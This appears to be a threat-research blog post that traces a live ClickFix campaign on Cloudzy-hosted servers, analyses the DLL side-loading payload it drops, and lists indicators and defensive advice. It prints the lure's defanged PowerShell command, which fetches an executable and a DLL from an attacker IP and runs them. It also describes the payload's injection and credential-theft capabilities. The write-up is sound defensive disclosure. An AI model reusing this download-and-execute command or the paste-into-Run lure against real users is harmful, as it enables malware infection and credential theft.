The Page That Talks You Into Infecting Yourself

I went looking for trouble with no leads, just an idea of what attacker behavior looks like, and ended up on a live ClickFix operation. It is the scam where a fake verify you are human page quietly drops a malicious command onto your clipboard and then walks you through pasting it into the Windows Run box yourself. Classic, effective, and very much running right now.

The short version

• The whole thing lives on Cloudzy / RouterHosting (AS14956), a host with a documented history of catering to malicious activity, spread across 10 cloned hosts in two side by side /24 ranges in Los Angeles. I found and mapped all of it with Censys.
• The payload is something I initially misread, then corrected. It is a DLL search order hijack that uses a real, signed, clean Windows binary to side load a malicious UPX packed, Rust built DLL. That technique is not new, but I could not find any public writeup of this campaign using it on this infrastructure.
• The malicious DLL reaches for 13 high entropy domains that look algorithmically generated, for command and control. None of them resolve yet. The delivery side is wide open, the control side is deliberately dark until the operator flips it on.
• Two honest gaps up front. I never nailed down which malware family this ultimately is, and I never caught it phoning home to a live server, because the domains it wants do not resolve. So I am not putting a family name on it or pretending I watched it beacon.

How I got here

I did not start with an IP, a domain, or a tip. I started with a question, what do attackers do that normal people do not? The trap I kept falling into early was hunting for tool names and open directories, which mostly surfaces honeypots and researchers and not real operators, so I changed the angle and instead of looking for tools I started looking for behavior that has no innocent explanation, and the cleanest example of that right now is ClickFix, because the lure page literally contains instructions telling a victim to open the Run dialog and paste a PowerShell command, and no legitimate website on earth tells you to do that.

So in Censys I searched for pages whose body contained both powershell and the Win+R instruction together. That combination basically cannot exist for a good reason, and it hit immediately.

host.services: (endpoints.http.body: "powershell" and endpoints.http.body: "Win+R")

The nested form there matters, it forces both strings onto the same service so you do not match a host that happens to mention each one on different ports.

What came back

A cluster of hosts, all looking the same. Same provider, RouterHosting / Cloudzy on AS14956 in Los Angeles. Same Censys labels flagging them for bulletproof style hosting and remote access. Same exact service layout, SSH on 22, a web server on 80 serving the lure, and a couple of Python services on 5000 and 5001 sitting quietly in the background.

When you see ten plus machines that are the same setup sitting next to each other in the same address space, that is not organic. That is someone spinning up infrastructure from a script or an image. The sameness is the signal.

Worth knowing who the landlord is, too. Cloudzy, which started life as RouterHosting before rebranding in 2021, is not a random budget host that happened to get abused. In 2023 the security firm Halcyon published research, first reported by Reuters, characterizing it as a Command and Control Provider, a company that sells anonymous, crypto paid infrastructure to attackers while wearing the profile of a legitimate business, which Halcyon explicitly framed as distinct from classic bulletproof hosting. Halcyon estimated that between 40 and 60 percent of the servers Cloudzy hosted appeared tied to malicious activity, and linked it to a long list of state backed and ransomware groups. Two details from that report line up with what I found. AS14956, the autonomous system all ten of my hosts live on, is Cloudzy's own ASN, registered in May 2023, so this is not leased space I am guessing about, it is their own number. And the report's appendix lists a netblock at 172.86.120.0/22, which sits right next to my identified 172.86.126 and 172.86.127 ranges, same operator, same neighborhood, though to be precise my exact identified blocks are not the ones enumerated in that 2023 appendix. Cloudzy disputed Halcyon's findings, so I will phrase the characterization as alleged rather than settled, but the point stands, a tightly cloned attack cluster living here is exactly what you would expect to find, not an anomaly.

The two quiet Python services are part of the fingerprint too. On every host, ports 5000 and 5001 run a Werkzeug development server that just returns 404s. Probably staging or a half built panel, but it is consistent enough across the cluster to be a useful tell.

Pulling the thread

I opened one of them in Censys and read the actual page. It was dressed up as a Cloudflare Verification check, verify your connection, click the button to copy your repair code. Friendly, harmless looking.

Click the button and it reveals the real instruction, FINAL STEP: Press Win+R, then Ctrl+V and Enter.

The clever and nasty part is in the page's JavaScript, because clicking Verify I am not a robot silently copies a command to your clipboard and then tells you to paste that into the Run box and hit enter, so you run it and not the page, which is the whole trick really, it sidesteps a lot of automated protection because the human is the one doing the dangerous part by hand.

The command it copies is hidden PowerShell that makes a temp folder, pulls two files from another host in the same range, and runs one of them.

# Defanged. Do not run.
powershell -w hidden -c "md $env:TEMP\upd -Force; cd $env:TEMP\upd;
  iwr hxxp://172.86.126[.]195/active_desktop_launcher.exe -OutFile run.exe;
  iwr hxxp://172.86.126[.]195/active_desktop_render_x64.dll -OutFile active_desktop_render_x64.dll;
  .\run.exe"

That second host, the one actually serving the payload, is the piece I would not have seen from the UI if I had not read the page. It was hiding in plain sight inside the script.

Clustering it properly

Now that I had the payload's filename baked into that PowerShell, I pivoted on that in Censys, searching for every host referencing the same payload file. That tightened everything into a clean, bounded set, ten hosts across 172.86.126.x and 172.86.127.x, all pointing back to the same delivery box.

host.services.endpoints.http.body: "active_desktop_launcher.exe"

Two different angles landing on the same cluster is the kind of overlap that tells you you have actually mapped the thing, not just found a piece of it.

Taking the payload apart (and correcting my first read)

The PowerShell pulls two files, active_desktop_launcher.exe and active_desktop_render_x64.dll. My first instinct was that the two names were just serving the same single binary. That turned out to be wrong, and I want to leave the correction in rather than quietly fix it, because how you handle being wrong matters more than being right the first time.

They are two different files with two different fingerprints, and together they are a classic DLL search order hijack. The active_desktop_launcher.exe is a legitimate, signed, clean binary, a real KuGou Active Desktop component, a Chinese music app. On its own it scans clean, no threat, roughly 100 KiB. The active_desktop_render_x64.dll is the malicious payload, about 5 MiB, packed and built in Rust. When the clean launcher runs, Windows loads this DLL from the same folder by name, and that is where the bad code actually lives. The signed exe is bait, the DLL is the bite.

Here is what the malicious DLL looks like once you start picking at it.

Packing and build

The section table gives it away immediately. A zeroed UPX0 next to a near maximal entropy UPX1 is the classic UPX packed layout, and the entrypoint sitting inside UPX1 confirms it.

Section   Entropy     Note
UPX0      0.00        empty on disk, unpacked into at runtime
UPX1      7.9996      packed code (entropy ~8.0 = compressed/encrypted)
.rsrc     7.9715      high-entropy resources

Entrypoint:       0x18018a5d0   (inside UPX1)
Image base:       0x180000000   (high base)
Characteristics:  HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT,
                  DEBUG_STRIPPED, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED

Underneath the packer it is a Rust binary, the strings carry Rust language artifacts and a Rust deflate/zlib compression library. The imports are deliberately thin on the surface, with the real capability resolved at runtime through LoadLibrary and GetProcAddress, which is normal for packed samples.

Forged version metadata

The version resource is fabricated, and sloppily. The company and product names are nonsense, and the copyright is dated to a year that had not happened yet when I pulled this.

CompanyName:      Lumin Mv cies pv Co
ProductName:      koched
InternalName:     koched
OriginalFilename: koched
FileDescription:  Unicode name dll for richedit 1.0. windows sockets helper dll.
LegalCopyright:   (C) 2027 Lumin Mv cies pv Co. All rights reserved.
FileVersion:      99.98.13.61

A 2027 copyright on a file analyzed in 2026, a garbled company name, and a Frankenstein richedit plus winsock helper description are all tells that the metadata exists only to look filled in at a glance.

The export table, which is my favorite part

The DLL exports 32 functions, but most of the names are random gibberish, salted with a handful of legitimate sounding decoys to pass a casual look. Every export also points at the same address except the real DllRegisterServer, which is the giveaway that the names are camouflage rather than distinct functions.

Ord  Export name                       Address
#1   ApplyBspatch                      0x18000f430   <- decoy-ish
#2   AsFWV6aGC9xQRZNDtMYoElAzO         0x18000f430   <- junk
#3   CLzgsHlCxrKVQvZ0L9kGXyGr          0x18000f430   <- junk
#4   ClearDesktopMonitorHook           0x18000f430   <- decoy
#7   DllRegisterServer                 0x18000f470   <- real, distinct addr
#10  GetMuteState                      0x18000f430   <- decoy
#11  HostMainLoop                      0x18000f430   <- decoy
#13  ModuleMain                        0x18000f430   <- decoy
#16  PIp14MuHjOr5H0fN                  0x18000f430   <- junk
#22  VH1HyTxahsoKLeF07xI8v48uM         0x18000f430   <- junk
#29  rtF0jpQbn1YGo                     0x18000f430   <- junk
...                                                  (32 exports total)

The decoy names, HostMainLoop, ModuleMain, ClearDesktopMonitorHook, GetMuteState, are clearly meant to echo the legitimate KuGou component this is impersonating, so a quick glance at the export list looks plausible. The intended execution is rundll32 against the DLL's ordinals, not its names, which fits the side-load, the clean launcher calls into the malicious DLL by number.

What it is built to do

Pulled from the import table and the API strings recoverable from the binary. I am describing what it is built to do, not claiming I watched it do all of it.

Process / injection:   process enumeration, open/terminate process,
                       create remote thread, queue APC into a remote
                       process (a classic injection primitive)
Token / privilege:     OpenProcessToken, NtOpenProcessToken,
                       NtQueryInformationToken, NtSetInformationToken,
                       access-token impersonation
Environment / evasion: debugger checks (IsDebuggerPresent), VM-aware
                       checks, WOW64 detection, system enumeration
Credential / data:     API strings tied to credential theft and data
                       exfiltration, username enumeration, file r/w
Crypto / network:      Bcrypt + MS Enhanced Crypto Provider, WinHTTP,
                       named-pipe create/connect, DNS queries

A reality check I am glad I did

Before getting excited about finding something, I went and checked whether this was already known, because the worst thing you can do in this space is announce a discovery that a vendor documented years ago.

Turns out the active_desktop_launcher plus active_desktop_render side loading pair is already documented, and I confirmed it against the primary source rather than taking a secondhand snippet's word for it. Symantec's Broadcom Threat Hunter Team wrote it up back in August 2021 in their report on LockFile ransomware. In their words, active_desktop_launcher.exe is a legitimate version of KuGou Active Desktop, and it is used in a DLL search order loading attack to load a malicious active_desktop_render.dll. So the technique and the specific file pair are not my discovery, and I am not going to dress them up as one.

But I want to be precise about how much actually overlaps, because the technique being the same does not mean the whole thing is a rerun.

• What is the same. The side loading pair itself, the legitimate signed KuGou launcher abused to load a malicious render DLL by name. That is the documented part.
• What is different. In the 2021 LockFile case, the render DLL loaded and decrypted a local desktop.ini and ran shellcode from it, which Symantec assessed very likely fired a PetitPotam exploit to take over a domain controller. It was a hands on keyboard ransomware intrusion. In my case the same pair is delivered to a regular user through a ClickFix lure, and the render DLL is a UPX packed Rust binary with DGA based C2. No desktop.ini, no PetitPotam, no domain controller angle that I saw.

So the honest framing is an old, documented side loading technique repurposed as the payload stage of a ClickFix campaign, served from a Cloudzy cluster and carrying a payload with no public writeup I could find. The plumbing is borrowed and credited, the delivery, the payload, and the infrastructure are the original parts.

The C2 situation

The malicious DLL references 13 long, high entropy .com domains with the hallmarks of a DGA, a domain generation algorithm. The idea is that the malware can spin up huge numbers of these, and the operator only registers the handful they actually intend to use, often briefly, when they want to turn C2 on.

I checked all 13 against Censys in one shot. Zero hits. None of them resolve to anything, which is not a dead end so much as a finding, the control channel is not switched on yet, or it has already rotated past these. That is exactly how DGA C2 is supposed to behave, staying invisible until activation.

Indicators

172.86.126[.]195   (payload host, also serves a lure)
172.86.126[.]34
172.86.126[.]86
172.86.127[.]6
172.86.127[.]23
172.86.127[.]28
172.86.127[.]29
172.86.127[.]34
172.86.127[.]43
172.86.127[.]47

# Malicious DLL (the actual payload)         malicious
active_desktop_render_x64.dll
SHA-256  4dd36fc6571a3b9344a2ebaca2c28cef218c2293d8e80923996b0ba61aa1bbc2
~5 MiB · PE32+ DLL · x86-64 · UPX packed · Rust

# Clean loader (legit signed KuGou binary, abused, NOT a threat on its own)
active_desktop_launcher.exe
SHA-256  f712c2a8b4abf2e299a2b480020333deb0f43364e9686cda78b1243c62e4830d
~100 KiB · listed so defenders understand its role

1zawagpqmidxgykyugu2hlg37aomonfra3rwjawuyypapumwgl1sjefcduo4qf[.]com
7kn3d97q05cibjxov8bhibxibye9dnlahcyf1qxm2ihwqs9vniufu[.]com
bfnttwjvfnd71awnellzxyvk1obcjf9s[.]com
bm9x7e0jrvpg3z0dmc0e8lv4fw908lw5b0f[.]com
dlzyjvekwtcln1euv6exc0xg3lbhkmziii6hhiguzrglo[.]com
ipsiujxntfidoqysiglifnuddsvi9xcflpsva0i[.]com
k2mn2fpcbqkqbvyunuhex3hunqwjbkpk4bqqh5mvg[.]com
movdggprm0c4d1xn2y9vb4lcggqtltorddr2mgbditbvqhpk[.]com
redawcgavpebjm9crmugvc3hpia7jvwmetbfrlpevdxm4ouhael[.]com
swccihjhixqerwl6b8sv3ztohc7ffno1zudahmrtvaofxjn75kh[.]com
uptkrhoockg2ylx6frgksrp1hvpuyr7fsmkaybzco7slw[.]com
yfi30ihrolqotssl1v0c2bmgya9imo4iyzkpwwm71apcfsnt7a[.]com
zucbktig6czi2jtzsktvloqx9kxrsgkehzugulafhxg[.]com

Likely behavior (informed guessing, labeled as such)

This part is inference, not stuff I confirmed, and I am keeping that line bright. Based on what the malicious DLL is built to do, credential related APIs, system enumeration, code injection, DGA based C2, a Rust loader, and the broader pattern of ClickFix campaigns, it lines up with a loader or info stealer style payload. Get on the box, figure out where it is, phone home when the operator is ready, and likely pull down or enable a next stage. Publicly documented ClickFix campaigns have historically dropped things like Lumma Stealer, StealC, and NetSupport RAT, so that is the neighborhood this lives in. But I did not watch it steal anything or talk to a live server, so I am leaving it at this is what its capabilities point to, not this is what it does.

What to actually do about it

If you are a regular person reading this, the one rule that beats this entire attack is that no real website ever asks you to press Win+R and paste something to verify anything. If a page tells you to, it is an attack. Close it. If you already did it, get off the internet, do not type any passwords, get the machine looked at, and change your passwords from a different device.

If you are defending a network:

• Block the 10 IPs and the 13 domains. The IPs are the immediate threat, the domains are pre emptive since they are not live yet.
• Treat the pairing as the signal. A signed, clean active_desktop_launcher.exe sitting next to an active_desktop_render_x64.dll in a user writable folder is the tell. The launcher being clean is exactly why this works, so do not let a clean verdict on the exe wave you off.
• Hunt for the behavior, not just the indicators, because this campaign will rotate hosts. The chain that matters is something spawning hidden PowerShell right after clipboard activity, PowerShell pulling files from a raw IP into a temp folder, then a signed binary side loading a DLL by name out of that folder.
• If you want to track the operator as they move, the infrastructure tell is the cloned setup itself, a ClickFix lure on port 80 plus those quiet Python services on 5000 and 5001, sitting on AS14956. You can watch for that template in Censys.
• Report it. The hashes, URLs, and domains are all good to push to community threat intel feeds.

The honest wrap up

Start to finish, this went from I have literally nothing to a fully mapped delivery operation with the payload technique identified and an IOC list, by doing one simple thing, looking for behavior that cannot be innocent instead of looking for tools. The ClickFix powershell plus Win+R combo was the door, the cloned infrastructure was the confirmation, and reading the actual lure page handed me the payload host I would never have spotted from the outside. Censys carried the whole recon and clustering side of this from start to finish.

I will be straight about what I got wrong and what I do not know, because that is the part that actually builds trust. I misread the two files as one at first and corrected it. I checked whether the technique was already known instead of claiming a discovery, and it was, so I said so. And the two things I genuinely could not pin down, the exact malware family and a live C2, I am leaving as open questions rather than dressing them up, because the evidence does not support guessing.

I am not the most experienced person in this room and I know it, but what I would argue I bring is the temperament that makes the experience worth investing in, the curiosity that actually goes somewhere and the discipline to not overclaim and the habit of grading my own work honestly, so point me at the deeper reversing skills and I will close that gap, because the instinct for pulling a thread until it is fully unraveled and stopping exactly where the evidence stops is already here.